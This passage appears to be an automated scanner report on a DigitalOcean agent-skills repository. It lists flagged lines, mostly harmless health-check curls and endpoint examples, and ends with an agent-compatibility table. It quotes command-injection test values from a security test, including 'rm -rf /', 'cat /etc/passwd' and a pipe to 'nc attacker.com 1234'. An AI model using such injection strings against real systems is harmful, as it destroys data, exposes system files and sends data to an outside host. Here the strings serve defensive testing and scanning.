    curl -I https://nyc3.digitaloceanspaces.com
  • Network accessline 362
    nc -zv nyc3.digitaloceanspaces.com 443

skills/spaces/scripts/_lib.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Dangerous shell operationline 122
    rm -f "${tmp_json}"
  • Access to secretsline 149
    [Credential-related source omitted]
  • Access to secretsline 150
    [Credential-related source omitted]
  • Access to secretsline 167
    [Credential-related source omitted]
  • Access to secretsline 168
    [Credential-related source omitted]
  • Access to secretsline 174
    [Credential-related source omitted]
  • Access to secretsline 175
    [Credential-related source omitted]

skills/spaces/scripts/bootstrap_app_spaces.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 5
    # Required env vars: #   DO_SPACES_REGION      - e.g., nyc3, sfo3, syd1 #   DO_SPACES_ENDPOINT    - e.g., https://nyc3.digitaloceanspaces.com
  • Network accessline 6
    #   DO_SPACES_REGION      - e.g., nyc3, sfo3, syd1 #   DO_SPACES_ENDPOINT    - e.g., https://nyc3.digitaloceanspaces.com #   APP_NAME              - Application name (used for naming)
  • Network accessline 7
    #   DO_SPACES_ENDPOINT    - e.g., https://nyc3.digitaloceanspaces.com
  • Access to secretsline 48
    [Credential-related source omitted]

skills/spaces/scripts/enable_bucket_logging.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 3
    # # Required env vars: #   DO_SPACES_ENDPOINT    - e.g., https://nyc3.digitaloceanspaces.com
  • Network accessline 4
    # Required env vars: #   DO_SPACES_ENDPOINT    - e.g., https://nyc3.digitaloceanspaces.com #   SRC_BUCKET            - Source bucket to enable logging on
  • Network accessline 5
    #   DO_SPACES_ENDPOINT    - e.g., https://nyc3.digitaloceanspaces.com

skills/spaces/scripts/rotate_spaces_key.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]

skills/spaces/scripts/view_access_logs.sh

  • Executable scriptline 1
    #!/usr/bin/env bash
  • Network accessline 3
    # # Required env vars: #   DO_SPACES_ENDPOINT    - e.g., https://nyc3.digitaloceanspaces.com
  • Network accessline 4
    # Required env vars: #   DO_SPACES_ENDPOINT    - e.g., https://nyc3.digitaloceanspaces.com #   LOG_BUCKET            - Bucket containing logs
  • Network accessline 5
    #   DO_SPACES_ENDPOINT    - e.g., https://nyc3.digitaloceanspaces.com

skills/troubleshooting/README.md

  • Network accessline 18
    app = Sandbox.get_from_id(app_id="<app-id>", component="web") app.exec("env | grep DATABASE") app.exec("curl -v localhost:8080/health")
  • Network accessline 20
    app.exec("curl -v localhost:8080/health")

skills/troubleshooting/SKILL.md

  • Network accessline 40
    # Diagnostics app.exec("env | grep DATABASE") app.exec("curl -v localhost:8080/health")
  • Network accessline 41
    app.exec("env | grep DATABASE") app.exec("curl -v localhost:8080/health") app.exec("ps aux | head -10")
  • Network accessline 42
    app.exec("curl -v localhost:8080/health")

skills/troubleshooting/reference/app-maintenance.md

  • Network accessline 25
    archive: true   # Optional custom page   # offline_page_url: https://example.com/maintenance.png
  • Network accessline 27
    # offline_page_url: https://example.com/maintenance.png
  • Network accessline 74
    # Check URL curl -I https://<app-url>
  • Network accessline 75
    curl -I https://<app-url>
  • Network accessline 90
    maintenance:   archive: true   offline_page_url: https://your-cdn.com/maintenance.png
  • Network accessline 92
    offline_page_url: https://your-cdn.com/maintenance.png

skills/troubleshooting/reference/debug-container.md

  • Network accessline 5
    **Source**: [github.com/bikramkgupta/do-app-debug-container](https://github.com/bikramkgupta/do-app-debug-container)
  • Network accessline 128
    [Credential-related source omitted]
  • Access to secretsline 128
    [Credential-related source omitted]
  • Network accessline 129
    [Credential-related source omitted]
  • Access to secretsline 129
    [Credential-related source omitted]
  • Network accessline 130
    export SPACES_ENDPOINT="${SPACES_ENDPOINT#https://}"

skills/troubleshooting/reference/diagnostic-scripts.md

  • Network accessline 29
    echo "=== Health Check ===" curl -s -o /dev/null -w "%{http_code}" localhost:${PORT:-8080}/health 2>/dev/null || echo "FAILED"
  • Network accessline 30
    curl -s -o /dev/null -w "%{http_code}" localhost:${PORT:-8080}/health 2>/dev/null || echo "FAILED"
  • Access to secretsline 41
    [Credential-related source omitted]
  • Network accessline 101
    def capture_baseline(app):     return {         "health": app.exec("curl -s localhost:8080/health").stdout,
  • Network accessline 102
    return {         "health": app.exec("curl -s localhost:8080/health").stdout,         "processes": app.exec("ps aux").stdout,
  • Network accessline 103
    "health": app.exec("curl -s localhost:8080/health").stdout,

skills/troubleshooting/reference/live-troubleshooting.md

  • Network accessline 34
    # Network diagnostics app.exec("netstat -tlnp 2>/dev/null || ss -tlnp") app.exec("curl -v localhost:8080/health")
  • Network accessline 35
    app.exec("netstat -tlnp 2>/dev/null || ss -tlnp") app.exec("curl -v localhost:8080/health") app.exec("curl -I localhost:8080")
  • Network accessline 36
    app.exec("curl -v localhost:8080/health")
  • Network accessline 37
    app.exec("curl -I localhost:8080")
  • Access to secretsline 81
    [Credential-related source omitted]
  • Network accessline 115
    import time time.sleep(2) result = app.exec("curl -s localhost:8080/health")
  • Network accessline 116
    time.sleep(2) result = app.exec("curl -s localhost:8080/health") print(f"Health: {result.stdout}")
  • Network accessline 117
    result = app.exec("curl -s localhost:8080/health")

skills/troubleshooting/reference/logs-analysis.md

  • Network accessline 117
    # Test endpoint result = app.exec("curl -v localhost:8080/health")
  • Network accessline 118
    result = app.exec("curl -v localhost:8080/health")

skills/troubleshooting/reference/networking-issues.md

  • Network accessline 20
    # From container nslookup example.com curl -I https://example.com
  • Network accessline 22
    curl -I https://example.com
  • Network accessline 37
    # Test preflight curl -X OPTIONS https://api.example.com/endpoint \
  • Network accessline 38
    curl -X OPTIONS https://api.example.com/endpoint \
  • Network accessline 39
    -H "Origin: https://app.example.com" \
  • Network accessline 46
    cors:   allow_origins:     - exact: https://app.example.com
  • Network accessline 47
    allow_origins:     - exact: https://app.example.com   allow_methods:
  • Network accessline 48
    - exact: https://app.example.com
  • Network accessline 109
    # Test connectivity result = app.exec("nc -zv private-mydb-xxx.db.ondigitalocean.com 25060 2>&1")
  • Network accessline 110
    result = app.exec("nc -zv private-mydb-xxx.db.ondigitalocean.com 25060 2>&1")
  • Network accessline 134
    # Test internal communication result = app.exec("curl -v http://api:8080/health")
  • Network accessline 135
    result = app.exec("curl -v http://api:8080/health")

tests/conftest.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 174
    [Credential-related source omitted]
  • Network accessline 261
    import socket     try:         socket.create_connection(("8.8.8.8", 53), timeout=2)
  • Network accessline 262
    try:         socket.create_connection(("8.8.8.8", 53), timeout=2)     except OSError:
  • Network accessline 263
    socket.create_connection(("8.8.8.8", 53), timeout=2)

tests/test_edge_cases/test_errors.py

  • Executable scriptline 1
    Executable file

tests/test_helpers.py

  • Executable scriptline 1
    Executable file

tests/test_migration/test_analyze_architecture.py

  • Executable scriptline 1
    Executable file
  • Network accessline 52
    (temp_repo / "Gemfile").write_text('source "https://rubygems.org"\n\ngem "rails"')
  • Access to secretsline 93
    [Credential-related source omitted]
  • Access to secretsline 95
    [Credential-related source omitted]

tests/test_migration/test_analyze_architecture_full.py

  • Executable scriptline 1
    Executable file
  • Network accessline 146
    (tmp_path / 'Gemfile').write_text('source "https://rubygems.org"')

tests/test_migration/test_detect_platform.py

  • Executable scriptline 1
    Executable file

tests/test_migration/test_detect_platform_full.py

  • Executable scriptline 1
    Executable file

tests/test_migration/test_generate_app_spec.py

  • Executable scriptline 1
    Executable file

tests/test_migration/test_generate_app_spec_full.py

  • Executable scriptline 1
    Executable file

tests/test_migration/test_generate_checklist.py

  • Executable scriptline 1
    Executable file
  • Network accessline 78
    repo_url = "https://github.com/test/app"

tests/test_migration/test_generate_checklist_full.py

  • Executable scriptline 1
    Executable file
  • Network accessline 79
    str(tmp_path),              'myapp',             repo_url='https://github.com/example/repo'
  • Network accessline 80
    'myapp',             repo_url='https://github.com/example/repo'         )
  • Network accessline 81
    repo_url='https://github.com/example/repo'
  • Network accessline 196
    'generate_checklist.py', str(tmp_path),              '--name', 'testapp',             '--repo-url', 'https://github.com/example/repo'
  • Network accessline 197
    '--name', 'testapp',             '--repo-url', 'https://github.com/example/repo'         ]):
  • Network accessline 198
    '--repo-url', 'https://github.com/example/repo'

tests/test_postgres/test_add_client.py

  • Executable scriptline 1
    Executable file

tests/test_postgres/test_add_client_full.py

  • Executable scriptline 1
    Executable file

tests/test_postgres/test_cleanup_client.py

  • Executable scriptline 1
    Executable file

tests/test_postgres/test_cleanup_client_full.py

  • Executable scriptline 1
    Executable file

tests/test_postgres/test_client_scripts.py

  • Executable scriptline 1
    Executable file

tests/test_postgres/test_connection_string.py

  • Executable scriptline 1
    Executable file

tests/test_postgres/test_connection_string_full.py

  • Executable scriptline 1
    Executable file

tests/test_postgres/test_create_schema_user.py

  • Executable scriptline 1
    Executable file

tests/test_postgres/test_create_schema_user_full.py

  • Executable scriptline 1
    Executable file

tests/test_postgres/test_list_schemas.py

  • Executable scriptline 1
    Executable file

tests/test_postgres/test_list_schemas_full.py

  • Executable scriptline 1
    Executable file

tests/test_postgres/test_secure_setup.py

  • Executable scriptline 1
    Executable file

tests/test_postgres/test_secure_setup_full.py

  • Executable scriptline 1
    Executable file

tests/test_security/test_security.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 247
    [Credential-related source omitted]
  • Dangerous shell operationline 288
    "schema; rm -rf /",
  • Network accessline 288
    "schema; rm -rf /",             "schema && cat /etc/passwd",             "schema | nc attacker.com 1234",
  • Network accessline 289
    "schema && cat /etc/passwd",             "schema | nc attacker.com 1234",             "$(whoami)",
  • Network accessline 290
    "schema | nc attacker.com 1234",

tests/test_shared/test_configurations.py

  • Executable scriptline 1
    Executable file

tests/test_shared/test_skill_schema.py

  • Executable scriptline 1
    Executable file

tests/test_validation/test_documentation.py

  • Executable scriptline 1
    Executable file
  • Network accessline 30
    # Skip external links (http://, https://, mailto:)

tests/test_validation/test_schemas.py

  • Executable scriptline 1
    Executable file

tests/test_validation/test_validate_skills.py

  • Executable scriptline 1
    Executable file

tests/test_workflows/test_e2e.py

  • Executable scriptline 1
    Executable file

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Signal confidence: 500 facts
  • Network access in prose of documentationCHANGELOG.md:5Low confidence
  • Network access in prose of documentationCODE_OF_CONDUCT.md:1Low confidence
  • Network access in code of documentationCONTRIBUTING.md:25Low confidence
  • Network access in prose of documentationCONTRIBUTING.md:141Low confidence
  • Network access in prose of documentationCONTRIBUTING.md:142Low confidence
  • Network access in code of documentationDocs/developer-guide.md:6Low confidence
  • Network access in prose of documentationDocs/user-guide.md:143Low confidence
  • Network access in prose of documentationDocs/user-guide.md:144Low confidence
  • Network access in prose of documentationDocs/user-guide.md:145Low confidence
  • Executable script in code of a file that runsMakefile:1High confidence
  • Dangerous shell operation in code of a file that runsMakefile:60High confidence
  • Dangerous shell operation in code of a file that runsMakefile:61High confidence
  • Dangerous shell operation in code of a file that runsMakefile:62High confidence
  • Dangerous shell operation in code of a file that runsMakefile:63High confidence
  • Dangerous shell operation in code of a file that runsMakefile:64High confidence
  • Dangerous shell operation in code of a file that runsMakefile:65High confidence
  • Network access in code of documentationREADME.md:59Low confidence
  • Network access in code of documentationREADME.md:60Low confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:286High confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:286High confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:286High confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:286High confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:286High confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:286High confidence
  • Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueSKILL.md:288Low confidence
  • Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueSKILL.md:288Low confidence
  • Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueSKILL.md:288Low confidence
  • Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueSKILL.md:288Low confidence
  • Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueSKILL.md:288Low confidence
  • Access to secrets in code of the SKILL.md: a variable, placeholder or call, not a stored valueSKILL.md:288Low confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:315High confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:315High confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:315High confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:315High confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:315High confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:315High confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:316High confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:316High confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:316High confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:316High confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:316High confidence
  • Access to secrets in code of the SKILL.mdSKILL.md:316High confidence
  • Network access in prose of the SKILL.mdSKILL.md:414Low confidence
  • Network access in prose of the SKILL.mdSKILL.md:414Low confidence
  • Network access in prose of the SKILL.mdSKILL.md:414Low confidence
  • Network access in prose of the SKILL.mdSKILL.md:414Low confidence
  • Network access in prose of the SKILL.mdSKILL.md:414Low confidence
  • Network access in prose of the SKILL.mdSKILL.md:414Low confidence
  • Network access in prose of the SKILL.mdSKILL.md:416Low confidence
  • Network access in prose of the SKILL.mdSKILL.md:416Low confidence

and 450 more

Only the first 500 facts are listed.

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeNativePath CLAUDE.md.claude/skills/<skill-name>/
CodexCompatibleStandard SKILL.md SKILL.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.